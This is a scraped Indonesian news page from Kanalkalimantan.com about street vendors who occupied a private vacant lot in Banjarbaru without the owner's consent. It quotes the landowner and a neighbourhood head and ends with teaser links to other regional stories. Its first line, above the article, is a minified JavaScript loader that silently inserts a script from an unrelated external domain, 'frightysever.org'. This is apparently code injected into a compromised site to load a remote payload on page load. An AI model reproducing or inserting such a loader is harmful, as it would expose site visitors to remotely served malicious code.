(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Pedagang Kaki Lima (PKL) Subuh eks Pasar Bauntung Banjarbaru tetap menggelar lapak dagangan mereka. Lahan kosong milik warga pribadi menjadi sasaran lapak-lapak PKL Subuh, tanpa izin pemilik lahan.
Tanpa lokasi resmi berjualan, para PKL Subuh nekat membuka lapak di lahan kosong tak jauh dari pos penjagaan eks Pasar Bauntung, Jum’at (19/3/2021) pagi.
Merasa lahan kosong miliknya ‘diduduki’ begitu saja oleh para PKL, langsung menuai protes dari warga, salah satunya Flora (39).
Flora (39), pemilik lahan protes ke petugas gabungan penutupan eks Pasar Bauntung, Jum’at (19/3/2021). foto : pras
Baca juga: Lapangan Murjani Diblokade, PKL Subuh Ngumpul di Jalan Bengkirai
Wanita pemilik lahan ini mengadu ke pos penjagaan aparat gabungan eks Pasar Bauntung di Jalan Lanan -hanya berjarak 100 meter dari pasar dadakan tersebut.
“Tentu saya kecewa karena saya tidak pernah memberikan izin kepada para pedagang untuk berdagang di situ. Dahulu beberapa pedagang pernah menyarankan saya untuk menyewakan lahan kosong saya, tapi saya tolak karena saya punya kepentingan pribadi di lahan tersebut,” kata Flora kepada Kanalkalimantan.com.
Ditemani Ketua RT Samsul Irawan (52) juga menambahkan bahwa pihak RT sudah kecolongan aksi para PKL Subuh itu.
“Sebenarnya ini cukup insidentil, kita tidak menduga kalau ternyata para pedagang pindah lahan kosong di lingkungan RT kami,” kata Samsul Irawan.
Baca juga: PKL Subuh Tak Punya Lokasi, Tawaran Pasar Pondok Mangga Ditolak
Ketua RT 1 RW 1, Kelurahan Kemuning ini juga mengaku sudah membuat perjanjian dengan para PKL agar tidak berjualan di lingkungan tempat tinggal warga. “Intinya kami menolak agar pasar subuh dipindahkan ke sini. Rencana awal katanya mau dipindahkan ke Jalan Bengkirai dan itu tetap kami tolak,” ungkapnya.
Melihat aktivitas jual beli pedagang dan pembeli di atas lahan pribadi miliknya, Flora tidak mampu berbuat apa-apa. Ia hanya mengaku ingin membawa permasalahan ini ke jalur hukum. “Untuk saat ini ini saya kumpulkan dulu bukti-bukti lalu, saya bawa bukti itu ke pihak berwajib,” tandasnya. (kanalkalimantan.com/pras)
Reporter: pras
Editor: bie
KANALKALIMANTAN.COM, MARTAPURA – Merasakan langsung air yang merendam rumah warga, Tim Kanalkalimantan Peduli – Mahasiswa… Read More
KANALKALIMANTAN.COM, MARTAPURA — Banjir yang menenggelamkan wilayah Desa Sungaitabuk Keramat, Kecamatan Sungaitabuk, Kabupaten Banjar mematikan… Read More
Gubernur Kalimantan Selatan telah menetapkan Upah Minimum Provinsi tahun 2026 pada hari Rabu, 24 Desember… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Wakil Bupati Kapuas, Dodo memimpin rapat koordinasi penyelesaian tenaga non Aparatur… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten Kapuas menggelar apel gabungan awal tahun 2026 bagi seluruh… Read More
KANALKALIMANTAN.COM, PARINGIN - Bencana banjir yang melanda Kabupaten Balangan sejak akhir Desember 2025 berdampak pada… Read More
This website uses cookies.